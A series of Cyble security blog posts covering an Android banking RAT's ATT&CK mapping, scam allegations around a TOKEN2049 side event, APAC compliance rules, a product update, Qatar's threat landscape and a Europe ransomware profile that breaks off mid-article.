Conclusion

The latest GhostBat RAT activity highlights continued evolution across both delivery mechanisms and post-compromise capabilities. The investigation into mParivahan- and eChallan-themed malware exposed the broader GhostX ecosystem, linking phishing infrastructure, backend control, and evolving GhostBat RAT payloads.

The introduction of Accessibility Service abuse, Ghost Overlay, broader PIN capture, and Firebase-driven dynamic configuration significantly expands the malware’s financial-theft capabilities while making the operation more adaptable. Combined with continuously evolving loaders and active phishing activity, GhostBat RAT remains a threat to Android users, particularly across India’s banking, UPI, and digital payment ecosystem.

Cyble’s Threat Intelligence Platforms continuously monitor emerging threats, infrastructure, and activity across the dark web, deep web, and open sources. This proactive intelligence empowers organizations with early detection, impersonation, infrastructure mapping, and attribution insights. Altogether, these capabilities provide a critical head start in mitigating and responding to evolving cyber threats.

CRIL’s analysis of this campaign has been selected for the upcoming Association of Anti-Virus Asia Researchers (AVAR) conference, where these findings will be showcased.

Our Recommendations

We have listed essential cybersecurity best practices that form the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms like the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities that malware exploits.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access	Phishing (T1660)	GhostBat RAT is distributed through smishing messages containing malicious links that redirect victims to fake mParivahan/eChallan or Google Play-style pages used to deliver the malicious APK.
Persistence	Event Triggered Execution: Broadcast Receivers (T1624.001)	GhostBat RAT uses a boot-triggered Broadcast Receiver to restart its malicious services and workers after device reboot, allowing the implant to resume background activity.
Defense Evasion	Masquerading: Match Legitimate Name or Location (T1655.001)	GhostBat RAT masquerades as legitimate mParivahan/eChallan applications and uses government-themed names, icons, and interfaces to deceive victims.
Defense Evasion	Obfuscated Files or Information: Software Packing (T1406.002)	GhostBat RAT uses multiple encrypted and packed loader mechanisms, including AES-CBC, XOR, SPKZ/SPK1, encrypted DEX stages, and the libnetbridge.so multi-stage loader to conceal the final payload.
Defense Evasion	Download New Code at Runtime (T1407)	One observed GhostBat RAT delivery variant remotely downloads a second-stage APK, validates the payload, and installs it after the initial dropper executes.
Defense Evasion	Input Injection (T1516)	GhostBat RAT abuses AccessibilityService.dispatchGesture() to replay intercepted PIN-keypad touches into legitimate Google Pay and MobiKwik applications as part of the Ghost Overlay technique.
Credential Access	Abuse Accessibility Features (T1453)	The latest GhostBat RAT variant abuses Android Accessibility Service to monitor targeted financial applications, identify PIN-entry contexts, capture sensitive input, and support Ghost Overlay activity.
Credential Access	Input Capture: Keylogging (T1417.001)	GhostBat RAT uses Accessibility Service events to capture PIN/key-input activity from targeted financial applications. The default configuration targets 60 Android banking, UPI, wallet, fintech, and payment applications.
Credential Access	Input Capture: GUI Input Capture (T1417.002)	Selected GhostBat RAT variants use fraudulent payment interfaces to capture UPI PINs, payment-card details, and other financial information entered by victims.
Credential Access	Access Notifications (T1517)	Selected GhostBat RAT variants register a notification-listener service to monitor notifications generated by other applications, potentially exposing OTPs and other sensitive information.
Discovery	System Information Discovery (T1426)	GhostBat RAT collects device information including Android version, device model, manufacturer, identifiers, and other system metadata.
Discovery	Software Discovery (T1418)	GhostBat RAT can enumerate applications installed on the compromised device and uses package information to identify targeted banking and financial applications.
Collection	Protected User Data: SMS Messages (T1636.004)	GhostBat RAT collects historical SMS messages and monitors newly received messages, including OTPs, banking alerts, and other sensitive message content.
Collection	Protected User Data: Call Log (T1636.002)	GhostBat RAT collects call-history information and uploads historical and newly observed call-log records through its C2 infrastructure.
Impact	SMS Control (T1582)	GhostBat RAT can receive attacker-defined SMS jobs and send messages through the infected device's SIM, allowing compromised devices to be used for remotely controlled SMS transmission and potentially further smishing activity.
Impact	Call Control (T1616)	GhostBat RAT can manipulate and query call forwarding using USSD-based operations and report the forwarding state to its C2 infrastructure.
Command and Control	Application Layer Protocol: Web Protocols (T1437.001)	GhostBat RAT communicates with its backend through HTTPS REST APIs and uses Firebase Cloud Messaging for command delivery. The latest variant also contains a configurable secure WebSocket communication channel.

The post The GhostX Ecosystem: Forged in Transit, Licensed to Deceive appeared first on Cyble.

A crypto security event that promised to teach attendees how to avoid scams is now the subject of scam allegations. The gathering, branded "Don't Get Played," was held as a side event during TOKEN2049 week in Singapore and co-hosted by groups operating under the names "Apex Accelerator" and "Stone Venture."

According to a police report filed by one attendee with the Singapore Police Force, the organizers allegedly pressured guests to install software that would have handed the organizers remote control of their computers.

The allegation first gained traction on X, where several other users claimed they had also been approached by the same group.

What the "Don't Get Played" Police Report States 

The document circulating online is page two of a six-page Singapore Police Force report (form NP299), bearing reference number E/20261011/7004. In it, the complainant lists the group's website as token.apexaccs.org and notes that the event's Telegram group had no public URL; prospective attendees could only join through the website. 

The report is titled "Suspected cyber scam targeting TOKEN2049 attendees ('Don't Get Played' event)." Its summary reads: 

"A group using the names 'Apex Accelerator', 'Stone Venture' and 'Don't Get Played' promoted a crypto security event for TOKEN2049 week (Sun 11 Oct 2026, 6pm to 10pm, The Singapore EDITION). They pressured attendees to install software that would give them remote control of their computers. I did not install their software and have no financial loss." 

Two details in that statement matter. First, the person who filed the report says they did not install anything. Second, they report no financial loss. The filing therefore documents an alleged attempt rather than a confirmed compromise. 

How the TOKEN2049 Side Event Was Pitched 

On paper, "Don't Get Played" looked like exactly the kind of session a careful attendee would seek out. It was marketed as a security-focused gathering designed to help people protect themselves from token scams. 

The event was scheduled for The Singapore EDITION hotel in early October 2026. Entry was free, though guests had to register beforehand, and attendance was capped at 200 people, as detailed by Crypto Briefing.  

The agenda featured a live "wallet clinic" where attendees could have their holdings checked with "Apex Audit" tools. These were promoted as scanners for token risk and honeypots, a term for tokens engineered so that holders can buy them but are never able to sell. 

The promotional material also advertised a panel on how crypto scams have evolved, listing representatives from Spartan Group, Bybit's security team, and the Singapore Police Force Cyber Command among the speakers. 

The final hook was a giveaway. Every confirmed guest was promised a free year of Sophos MDR endpoint protection, bundled with up to $1 million in breach coverage. Research into the event suggests this offer was a major driver of interest. 

There is nothing in the available material indicating that Spartan Group, Bybit, Sophos, or the Singapore Police Force Cyber Command played any part in the alleged conduct. Their names appeared in the event promotion, and that is the full extent of what the sources establish. 

The Allegation and the Gaps in the Record 

The central claim is simple: organizers of "Don't Get Played" allegedly pushed attendees to install software that would give a third-party remote access to their machines. At a crypto event, where many guests carry laptops connected to wallets and exchange accounts, that level of access could be enough to empty funds. 

Several important facts remain unclear. The source material does not name the software attendees were allegedly asked to install. It does not state whether anyone lost money, and it does not say how many people may have been targeted. 

As of October 12, 2026, no mainstream coverage of a police report involving the organizers, or of complaints from victims, could be located. The Singapore Police Force has not publicly confirmed the filing. Apex Accelerator and Stone Venture have not been charged with any offense based on the information available, and their account of events has not yet entered the public record. 

How the Crypto Community Reacted to "Don't Get Played"? 

After SolanaFloor shared the police report on X, the replies split between people claiming firsthand contact, skeptics, and users offering security advice. The account 0xKYM Registry (@KYMRegistrySG) said it filed the report and shared what it described as a scan of the installation's contents.  

Several others, including FamCrypt (@Famous0x3), NomadFury (@NomadFury_), and Sabya | YeNo (@SabyaYeNo), said the group had approached or pressured them to install software or buy a subscription. Alex (@alwye) claimed Apex Accelerator had used similar tactics in Twitter DMs. 

Not everyone was convinced. Sprunky (@sprunky_eth) argued that "page 2 of a report is not a finding," noting the complainant lost nothing, SPF had not confirmed the filing, and no charges exist. Others questioned how anyone could be pressured in Singapore or who vetted the project for the TOKEN2049 lineup. 

Security-minded users focused on the risk. StakeCraft (@stakecraft) called remote laptop access at a crypto event "a wallet drain waiting to happen," and Jey (@TheWarKettle) advised anyone who installed the software to treat the device as compromised, move funds from a clean device, and rotate every password and key.  

Others pointed to fake Luma after-party links and similar incidents at other conferences, and one user floated an unsupported DPRK link. Many replies also mocked the irony of a security event called "Don't Get Played" allegedly becoming the play. 

Conclusion 

The "Don't Get Played" allegations rest on a single attendee's police report and a growing set of claims on X, none of which have been confirmed by authorities. Several questions remain open. 

Will Singapore authorities confirm that a report was filed? Will Apex Accelerator or Stone Venture respond publicly? And will Spartan Group or the Singapore Police Force Cyber Command clarify whether they had any connection to the event? Until those answers arrive, the safest assumption for attendees is the one the event's own name suggested: any request to install software deserves suspicion.

References:  

• https://x.com/SolanaFloor/status/2109654244655812768 

• https://cryptobriefing.com/apex-accelerator-stone-venture-token2049-scam/ 

• https://x.com/DefraudTG/status/2109869264718971363 

Disclaimer: This blog is based on publicly available information, including a police report and posts shared on X, as of October 13, 2026. Cyble has not independently verified these claims. The allegations remain unproven, and naming any organization does not imply its involvement. This content is for informational purposes only and is not legal or financial advice. 

The post “Don’t Get Played”: TOKEN2049 Security Event Faces Remote-Access Scam Allegations appeared first on Cyble.

Cybersecurity compliance APAC 2026 has moved from guidance to enforcement across three of Southeast Asia's largest economies, almost in step. Singapore's Cyber Security Agency issued an updated Cybersecurity Code of Practice 2026 for Critical Information Infrastructure on 29 July 2026.

Malaysia's Cyber Security Act 2024 has been active since August 2024, with NACSA now well into audits and incident-reporting enforcement. Thailand's Cybersecurity Act NCSA mandate now covers new cloud and website security standards, with the cloud standard already in force. 

None of this happened quietly, and none of it is optional for the organizations it covers. For enterprise CISOs and compliance leads across ASEAN, the message from three separate regulators is the same: continuous monitoring and fast incident reporting are now the baseline for Critical Information Infrastructure APAC-wide, not the aspiration. 

Singapore Cybersecurity Code of Practice 2026 

Singapore Cybersecurity Code of Practice 2026 is the first substantial revision since 2022, and it changes who is accountable and how far the obligations reach. Boards of Critical Information Infrastructure owners must now maintain a documented cyber resilience framework, sit through cybersecurity training at least once a year, and receive threat briefings twice a year.

The code also extends mandatory controls to "Interconnected Systems" — the vendor platforms and adjacent networks that talk to CII but were never designated as CII themselves.

CSA has been explicit about why: Advanced Persistent Threats and AI-enabled attacks are shortening the gap between a vulnerability's discovery and its exploitation, and perimeter-only defense no longer covers that gap. Most obligations take effect by 29 July 2027, with Cyber Trust Mark Tier 5 certification required by the end of that year. 

Malaysia Cyber Security Act 2024 and NACSA Compliance Malaysia 

Malaysia Cyber Security Act 2024 has already reshaped how National Critical Information Infrastructure entities operate.  

NACSA compliance in Malaysia now demands that organizations across the 11 CNII sectors run periodic risk assessments and audits, work only with NACSA-licensed cybersecurity service providers, and notify authorities as soon as they become aware of an incident — with detailed follow-up required within hours through the national coordination system, and a full account due within 14 days. 

 Failure to report carries fines of up to RM500,000 and up to ten years' imprisonment. That penalty structure alone has pushed incident detection speed onto the CISO's list of board-level metrics. 

Thailand Cybersecurity Act NCSA and Cloud Security Standards Thailand 

Thailand Cybersecurity Act NCSA authority extends to a narrower but no less demanding set of obligations. NCSA cloud security standards Thailand has enforced since 10 September 2026 require government agencies, state enterprises, and cloud service providers to maintain encryption, access control, and at least annual security assessments across IaaS, PaaS, and SaaS environments.  

A companion Website Security Standard, effective 16 September 2026, asks organizations serving the public to formalize risk registers, access governance, and incident response practices aligned with standards like ISO/IEC 27005. Both sit on top of Thailand's Cybersecurity Act B.E. 2562, which already empowers the NCSA to designate and directly oversee Critical Information Infrastructure. 

Detection Speed is Now a Compliance Metric 

Read together, these three frameworks are not really about paperwork. They are about how fast an organization can see a threat, understand it, and prove that it acted. Board-level cyber resilience reviews, hours-not-days incident notification windows, and mandatory continuous monitoring across cloud and interconnected systems all assume real-time threat intelligence APAC organizations rarely have in place today. 

That is precisely where most regional enterprises still fall short. The ASEAN cyber threat landscape has historically produced reactive detection — SOC teams responding to alerts generated after compromise, or intelligence arriving too late and too generic to inform an actual decision.  

Regulators in Singapore, Malaysia, and Thailand have each, independently, concluded that this model no longer meets the moment. AI-accelerated reconnaissance, faster exploit development, and an increasingly interconnected regional supply chain mean the window between initial access and material damage keeps shrinking. 

Where Cyble Vision Actually Fits?

The gap between what these regulations now require and what most enterprises currently have is specific: visibility into threats before they become incidents, and evidence that can be produced when a regulator asks for it. Cyble Vision is built around that gap rather than around it as a slogan. 

The platform monitors surface, deep, and dark web sources continuously — underground forums, ransomware leak sites, and cybercrime marketplaces — to surface exposed credentials, leaked data, and threat actor chatter referencing an organization before that activity turns into a breach.  

Cyble's attack surface management solutions keeps a running inventory of internet-facing assets, cloud services, and adjacent vendor systems, which maps directly onto Singapore's requirement to account for Interconnected Systems and Thailand's expectation that cloud configurations be reviewed on an ongoing basis.  

Brand and executive monitoring flags impersonation and targeted threats aimed at leadership, and risk scoring is used to prioritize which alerts actually warrant an incident response versus which are noise. 

None of this replaces the audits, board reporting, or licensed-provider engagements that Singapore's CCoP, Malaysia's Cyber Security Act, and Thailand's NCSA standards require — those remain organizational and legal obligations. What continuous, contextualized threat intelligence does is shorten the time between something going wrong and someone finding out, which is the exact metric each of these regulators is now measuring. 

See how fast you can detect a breach. Request a Cyble Vision demo. 

References 

•  https://www.csa.gov.sg/news-events/press-releases/cybersecurity-code-of-practice-for-critical-information-infrastructure-to-be-updated-to-address-apt-and-ai-enabled-threats/ 

• https://securiti.ai/overview-of-malaysia-cyber-securitiy-act-2024/ 

• https://sth.sh/en/compliance/ncsa-cloud-security-standard/ 

• https://www.csa.gov.sg/ 

Disclaimer: This article is intended for general informational purposes only and does not constitute legal, regulatory, or compliance advice. Regulatory requirements referenced — including Singapore's Cybersecurity Code of Practice, Malaysia's Cyber Security Act 2024, and Thailand's NCSA Cloud and Website Security Standards — are based on publicly available information as of the date of publication and may be revised, amended, or reinterpreted by the respective authorities. Organizations should consult qualified legal counsel or their compliance teams to confirm current obligations applicable to their specific operations and jurisdiction. 

The post Why APAC Enterprises Need Real-Time Threat Intelligence as Singapore, Malaysia, and Thailand Tighten Cyber Compliance in 2026 appeared first on Cyble.

Cyble has rolled out a significant upgrade to Executive Monitoring inside Cyble Vision, bringing unified findings, AI-driven scoring, and expanded alerting together in a single protection suite.

Executive monitoring has historically meant stitching together several things at once. An impersonation tool here, a dark web exposure feed there, a reputation score from somewhere else, and alerts that show up in whatever channel each vendor happened to support. Security teams protecting their executives ended up doing the integration work themselves, correlating findings across tools, and re-explaining risk to the board every quarter using numbers that didn't quite agree with each other.

That era is over.

This release unifies Mentions, Impersonations, Exposures, and a new Surface Mentions source into a single findings stream, adds AI-generated scoring and verdicts on top of it, and extends alerting so findings reach the right people through the right channel, wherever they need to see them. No customer action is required — the upgrade is live now inside Cyble Vision.

What's Upgraded

Unified Findings, Now With Surface Mentions

Security teams have long had to check multiple places to get a full picture of an executive's exposure. One tool for impersonation attempts, another for credential and data exposures, a third for general web mentions. Cyble Vision now surfaces Mentions, Impersonations, Exposures, and Surface Mentions in a single findings stream. Surface Mentions is a new source that pulls in blog and news coverage referencing an executive, closing a visibility gap that dark web and social monitoring alone don't cover. One stream, one place to look, no more cross-referencing tools to confirm whether a finding is real or already known.

Risk & Reputation Scoring

A pile of raw alerts doesn't mean much to a board. Risk & Reputation scoring gives every monitored executive a single score that reflects their overall exposure, giving leadership one number to track instead of a raw feed of findings to interpret themselves. It turns a list of findings into a trend line — something a CISO can put in front of the board and defend.

AI-Generated Verdicts and Recommendations

Every finding in Cyble Vision now arrives with an AI-generated verdict and a recommended next step, so analysts aren't starting their triage from a blank page. That cuts the manual review time it typically takes to work out whether a finding is a real threat, a false positive, or something in between, and shortens the path from detection to resolution.

Richer Executive Onboarding

False positives on executive monitoring usually come from one place: same-name matches. A common name plus a generic job title search pulls in noise that has nothing to do with the actual executive being protected. Onboarding now supports aliases, multiple reference images, and known addresses per executive, giving the matching engine more to work with and cutting down on same-name false positives before they ever reach an analyst's queue.

Unified Alert Management

Alert management now supports data residency, addressing a requirement that regularly shows up in RFPs for regulated and enterprise customers. Teams can also manually or bulk import findings and alerts, bringing external or legacy data into the same unified workflow rather than managing it separately.

Multi-Channel Alert Delivery and Access API

Findings don't help if they arrive somewhere no one's watching. Alerts can now be delivered by email, WhatsApp, or SMS, and Access API integrations let findings and alerts flow directly into the tools and workflows a security team already runs, instead of forcing another platform into the rotation.

Branded Executive PDF Report

Reporting on executive risk has typically meant assembling findings from multiple tools into a single deck by hand. Executive Monitoring now generates a branded PDF report directly from the platform, pulling findings, scores, and verdicts into a document ready to hand to leadership without manual formatting.

Where Are We Heading

Executive monitoring is moving in the same direction as third-party risk and brand protection before it – away from a collection of narrow point tools and towards a single, intelligence-led workflow. This release is a step in that direction – unifying findings, scoring, and alerting under one roof so security teams spend their time acting on risk instead of assembling it.

Organizations getting ahead of executive risk are the ones treating it as one problem, not four.

Learn more about Cyble Vision Executive Monitoring or request a demo to see it in action.

Frequently Asked Questions

1. What is Executive Monitoring in Cyble Vision?

Executive Monitoring is a protection suite inside Cyble Vision that unifies impersonation detection, exposure monitoring, mentions, and now surface (blog and news) mentions into a single findings stream, scored per executive and paired with AI-generated verdicts and recommendations.

2. Who is this for?

• For security and CTI teams protecting executives: you now get unified findings, AI verdicts, and a defensible risk score in one place instead of correlating across separate tools.
• For GRC and compliance teams: data residency support and a branded PDF report make it easier to satisfy regulatory and audit requirements without extra manual work.
• For teams running multiple point solutions today: impersonation, exposure, and reputation monitoring now live in one platform, one report, and one renewal conversation.

3. What was just launched?

This release includes unified findings across Mentions, Impersonations, Exposures, and the new Surface Mentions source; Risk & Reputation scoring per executive; AI-generated verdicts and recommendations on every finding; richer executive onboarding with aliases, images, and addresses; Unified Alert Management with data residency and bulk import; multi-channel alert delivery (email, WhatsApp, SMS) with Access API integrations; and a branded Executive PDF report.

4. How is this different from the point solutions we use today?

Point solutions typically cover one piece of executive risk each — impersonation, exposure, or reputation — and leave the correlation work to your team. Executive Monitoring brings all three into a single findings stream with a shared risk score, so you're working from one view instead of three.

5. Do we need to do anything to get these updates?

No. The upgrade is live now inside Cyble Vision for existing Executive Monitoring customers — no action is needed on your end.

6. Does this integrate with our existing alerting and reporting workflows?

Yes. Multi-channel alert delivery covers email, WhatsApp, and SMS, and Access API integrations let findings and alerts flow into the tools your team already uses. The branded PDF report is also available directly from the platform for reporting to leadership.

7. Why are false positives from same-name executives going down?

Richer onboarding — aliases, multiple reference images, and known addresses per executive — gives the matching engine more signal to work with, so lookalike names and generic job titles are far less likely to generate a false match.

8. Where can I learn more?

You can request a demo to see the updated Executive Monitoring suite in Cyble Vision in action.

Disclaimer: The images shared in this post are for representational purpose only and may vary from the actual module UI/UX.

The post Cyble Introduces Major Upgrade to its Executive Monitoring Module appeared first on Cyble.

Qatar is racing toward a knowledge-based, fully digital economy. Smart infrastructure, cloud-first government services, a financial sector that's increasingly API-driven, and critical energy assets like QatarEnergy's LNG operations layering more connected OT/ICS systems every year. That pace of transformation makes Qatar an attractive target in the cyber realm, right now. Attackers don't need to compromise everything; they just need one high-value foothold, and Qatar's expanding digital footprint keeps handing them more doors to try.

This risk is showing up in the data as well.

The Problem: A Small, Concentrated, High-Precision Threat

Unlike sprawling, high-volume threat landscapes elsewhere, Qatar's risk profile in 2025-26 has been described as quietly high-stakes rather than loud. Attackers aren't spraying and praying — they're going after specific footholds, specific sectors, and specific vulnerabilities. That precision is arguably more dangerous than volume, because it means defenders are up against adversaries who've already done their homework on Qatari targets.

A few things stand out in the current picture:

Ransomware has consolidated around a group of dominant actors. According to Cyble's Qatar Threat Landscape Report 2025, the Qilin ransomware group was responsible for essentially all observed ransomware activity in the country during the period, including a concentrated campaign in October. But in 2026, to date, The Gentleman, Everest, Crypto24 and Payload groups shared the space. When a few groups own the entire observed ransomware footprint in a country, it signals a level of operational focus that generic, one-size-fits-all defenses aren't built to catch.

Financial services and retail are the prime targets for access brokers. The same research found confirmed instances of compromised access being sold on underground markets tied to Qatar, with BFSI and retail organizations accounting for more than half of those listings. That's initial access brokers doing reconnaissance and sale work specifically for buyers who want a way into Qatar's financial ecosystem — a pipeline that often precedes ransomware or fraud operations.

Education has become a quiet leak point. Data breaches and leak incidents were recorded, most frequently hitting the education sector, largely opportunistic actors going after personally identifiable information. Universities and training institutions tend to sit outside the security investment priorities of banks or energy firms, which makes them a softer entry point into a country's wider digital ecosystem.

Zero-days and known exploited vulnerabilities in enterprise remote-access tools spiked. Products from Microsoft, Fortinet, Ivanti, and Citrix — the tools that underpin remote access and enterprise connectivity almost everywhere in Qatar's public and private sector — saw a surge in exploitation activity. These are exactly the platforms that link head offices, branch networks, and increasingly remote or hybrid teams together, so a single unpatched edge device can become a bridge straight into the core network.

Hacktivism is low-volume but not absent. Much of it is narrative-driven information operations tied to regional geopolitical tensions rather than destructive attacks — but it's a reminder that Qatar's high international visibility (as a diplomatic hub and an LNG exporter) keeps it on ideologically motivated actors' radar too.

Beyond the Numbers, What Matters

Qatar isn't short on regulatory intent. Law No. 13 of 2016 on Personal Data Privacy Protection already requires organizations to run active breach management and compliance programs, and Qatar's National Cyber Security Agency has been steadily raising the bar — joining the global ISASecure certification program to strengthen industrial control system standards, and the country ratifying the UN Convention against Cybercrime to reinforce cross-border cooperation. The cybersecurity market itself is projected to keep growing at a solid clip through the end of the decade as organizations respond to this pressure.

But policy and market growth don't close the defense gap on their own. The data above describes a landscape where:

• A handful of ransomware operators can inflict outsized damage because they're facing fragmented, generic defenses rather than region-specific threat intelligence.
• Financially motivated actors are actively building and selling access into Qatar's banking and retail sectors before an attack ever becomes visible.
• Edge infrastructure — the very tools organizations rely on for secure remote connectivity — is itself the weak link.

The organizations best positioned to respond aren't the ones with the biggest security budgets; they're the ones with visibility into what's actually being sold, exploited, and targeted in their own region, before it turns into an incident report.

Meet Us at CYSEC, Qatar

This is exactly the conversation happening at CYSEC Qatar, the region's leading closed-door cybersecurity summit, bringing together CISOs, government cyber leaders, and IT/OT security heads to work through the threats defined above — cloud security, incident response, threat intelligence sharing, and AI-driven defense.Cyble's Mandar Patil, Feras Jbrah, Dhanish Khan, and Reshma Nair, will be on the ground at CYSEC Qatar’s – 22^nd Global Edition on 8-9th September, ready to walk through the region-specific threat intelligence behind this piece and talk about what proactive, Qatar-focused defense looks like in practice.

If you're attending, stop by and meet the team — bring your hardest questions about your own exposure, and let's talk about closing the gap before the next Qilin-style campaign finds it first.

Book your slot with our expert now!

Media Disclaimer: This blog was compiled from publicly available government advisories and open-source security reporting. It is provided for reference purposes only; readers bear full responsibility for their reliance on it.

The post Qatar’s Digital Boom Has a Blind Spot: What the 2025-26 Threat Data Is Telling Us appeared first on Cyble.

Europe faced a ransomware onslaught in the first half of 2026 that sets a troubling precedent for the remainder of the year. According to Cyble Research and Intelligence Labs (CRIL), the region experienced 866 documented ransomware attacks, 51 confirmed data breach incidents, and 7 initial access sales between January and June 2026. These figures represent not just a volume problem, but a fundamental shift in how threat actors are organizing, targeting, and monetizing their operations within European territory.

What distinguishes the ransomware threats in Europe from other global regions is the concentration of power among a small number of highly sophisticated threat actors. While the threat ecosystem encompasses dozens of groups, five dominant ransomware operators account for approximately 55% of all documented activity. This concentration creates predictability—European security leaders can now identify, profile, and build specific defensive strategies against known adversaries.

The Five Dominant Ransomware Groups Targeting Europe

1. Qilin: The Biggest Ransomware Threat in Europe

Attack Volume: 158 documented incidents (18.2% of regional total)

Qilin stands as the dominant ransomware threat actor targeting Europe, commanding operational superiority through sophisticated affiliate management, rapid exploit weaponization, and industry-specific targeting intelligence.

Geographic Concentration:

• Germany: 32 attacks (highest single-country targeting)
• France: 28 attacks
• United Kingdom: 26 attacks
• Spain: 20 attacks
• Italy: 19 attacks

Worldwide Sectoral Targeting: Qilin demonstrates deliberate sectoral selection rather than opportunistic targeting:

• Construction: 103 incidents (primary focus)
• Professional Services: 90 incidents (legal, accounting, consulting firms)
• Manufacturing: 67 incidents (industrial operations)
• Government & Law Enforcement: 19 incidents
• Technology: 22 incidents

Operational Characteristics:

Qilin's dominance stems from understanding European organizational economics. Construction projects operate under time-sensitive contracts with contractually-defined penalties for delay. A single day of downtime on a €50 million construction project can trigger cascading costs exceeding €100,000. This economic reality translates directly into ransom payment likelihood, making Qilin's targeting strategy rational and highly effective.

The group maintains an extensive affiliate network capable of concurrent operations across multiple European nations. Evidence suggests Qilin has compartmentalized its operations: initial access brokers handle reconnaissance and network compromise, mid-tier operators manage lateral movement and privilege escalation, and final-stage operators execute encryption and exfiltration. This division of labor enables rapid scaling and reduces attribution risk.

Why Qilin Dominates:

• Industry Expertise: Deep understanding of construction project timelines and financial exposure
• Affiliate Loyalty: Competitive payout structures (estimated 70-80% to affiliates) ensure consistent operator recruitment
• Exploit Library: Rapid weaponization of both known and zero-day vulnerabilities
• Data Monetization: Established data brokerage partnerships ensure exfiltrated data reaches buyers

European Security Implications: Organizations in construction, professional services, and manufacturing should treat Qilin as their primary threat actor concern. Defensive strategies must prioritize data exfiltration prevention, network segmentation, and immutable backup infrastructure.

2. The Gentlemen: The Rising European Threat

Attack Volume: 144 documented incidents (16.6% of regional total)

The Gentlemen represent an emerging threat actor that has achieved remarkable scale in a relatively short operational window. Unlike established groups that evolved from other cybercriminal operations, The Gentlemen appear purpose-built for ransomware-as-a-service operations.

Geographic Concentration:

• Europe: 144 attacks (primary focus)
• United States: 100 attacks (secondary focus)
• Thailand: 35 attacks (supply-chain targeting)
• South Asia: 40 attacks

Worldwide Sectoral Targeting:

• Construction: 45 incidents
• Manufacturing: 56 incidents
• Healthcare: 37 incidents
• IT & ITES: 36 incidents
• Professional Services: 29 incidents

Operational Characteristics:

The Gentlemen's rapid emergence and sustained growth suggest significant operational funding and technical sophistication. The group's geographic diversification—maintaining European dominance while aggressively expanding into Asia-Pacific—indicates either organizational scale or partnerships with regional threat actors.

Notably, The Gentlemen's Thailand targeting (35 incidents) suggests supply-chain attack sophistication. By compromising manufacturing and logistics operations in Thailand, the group can leverage these beachheads for downstream attacks against Western European organizations. This cross-continental supply-chain targeting represents a significant evolution in ransomware operational sophistication.

Key Distinction: While Qilin focuses on maximizing ransom payments from individual targets, The Gentlemen appear to prioritize operational scale and geographic expansion. This suggests the group may be building toward either:

1. A mega-RaaS platform rivaling LockBit's historical dominance
2. Preparation for potential acquisition or partnership with state-sponsored actors
3. Geographic arbitrage—leveraging lower prosecution risk in developing nations while maintaining European operations

European Security Implications: The Gentlemen's emergence signals market competition is intensifying. Organizations should monitor this group's operational evolution closely, as aggressive growth often precedes operational mistakes that create defensive opportunities.

3. LockBit: The Persistent Legacy Threat

Attack Volume: 61 documented incidents (7.0% of regional total)

LockBit's presence in European targeting represents a significant finding given sustained law enforcement pressure and multiple platform disruption attempts. Despite being targeted by coordinated international takedown operations, LockBit maintained operational capability throughout H1 2026.

Geographic Concentration:

• Europe: 61 attacks (Primary operations)
• North America: 47 attacks (Secondary operations)
• Distributed: Global presence indicating resilient infrastructure

Worldwide Sectoral Targeting:

• Construction: 22 incidents
• Manufacturing: 22 incidents
• Government & LEA: 12 incidents
• Healthcare: 19 incidents
• Professional Services: 13 incidents

Operational Resilience:

LockBit's continued operations despite international enforcement actions demonstrate several critical lessons:

1. Affiliate Compartmentalization: By maintaining separate operational cells, LockBit can continue operations even when core infrastructure is disrupted
2. Rapid Rebranding: The group has adopted multiple identities and platform variants, complicating attribution
3. Infrastructure Redundancy: Multiple command-and-control server locations across jurisdictions with varying law enforcement cooperation levels
4. Operator Recruitment: Continuous recruitment of new affiliates from emerging cybercriminal talent pools

The group's continued viability suggests that law enforcement actions, while disruptive, are insufficient to eliminate established RaaS operations. Organizations cannot rely on law enforcement intervention as a defensive strategy; they must assume LockBit and similar groups will remain operational threats indefinitely.

European Security Implications: LockBit should remain on European security teams' active threat monitoring lists. The group maintains technical sophistication, access to critical zero-day exploits, and demonstrated willingness to target European critical infrastructure.

4. Akira: The Opportunistic European Operator

Attack Volume: 59 documented incidents (6.8% of regional total)

Akira represents a secondary-tier ransomware group with focused European operations. The group demonstrates strong preference for Manufacturing and Construction sectors, suggesting industry-specific expertise or targeted affiliate recruitment.

Geographic Concentration:

• Europe & UK: 59 attacks (Secondary focus)
• North America: 268 attacks (Primary focus)
• Secondary: Limited operations in other regions

Worldwide Sectoral Targeting:

• Manufacturing: 54 incidents
• Construction: 57 incidents
• Professional Services: 47 incidents
• Consumer Goods: 34 incidents
• Healthcare: 13 incidents

Operational Profile:

Akira's disproportionate North American presence (268 attacks) with lower European activity (59 attacks) suggests the group may have established affiliate networks in North America with secondary capacity for European operations. The strong manufacturing and construction focus mirrors Qilin's strategy, indicating these sectors offer superior ransom payment likelihood across multiple geographic markets.

European Security Implications: While not as immediately threatening as Qilin or The Gentlemen, Akira's persistent operations warrant inclusion in threat modeling exercises. European manufacturing and construction organizations should monitor Akira's affiliate recruitment channels and tactical innovations.

5. Dragonforce: The Supply-Chain Specialist

Attack Volume: 54 documented incidents (6.2% of regional total)

Dragonforce rounds out the top-five European threat actors with apparent specialization in Manufacturing and Technology sectors, suggesting possible supply-chain attack capabilities.

Geographic Concentration:

• North America: 135 attacks (Primary focus)
• Europe & UK: 54 attacks (Secondary focus)
• Secondary: Limited global operations

Worldwide Sectoral Targeting:

• Manufacturing: 31 incidents
• Construction: 48 incidents
• Professional Services: 28 incidents
• Food & Beverages: 9 incidents
• Healthcare: 9 incidents

Operational Pattern:

Dragonforce's heavy US focus with secondary European operations suggests the group may be leveraging North American-based supply chains to gain access to European targets. Manufacturing supply chains are deeply interconnected across transatlantic partners; compromising US manufacturers could provide lateral access into European operations.

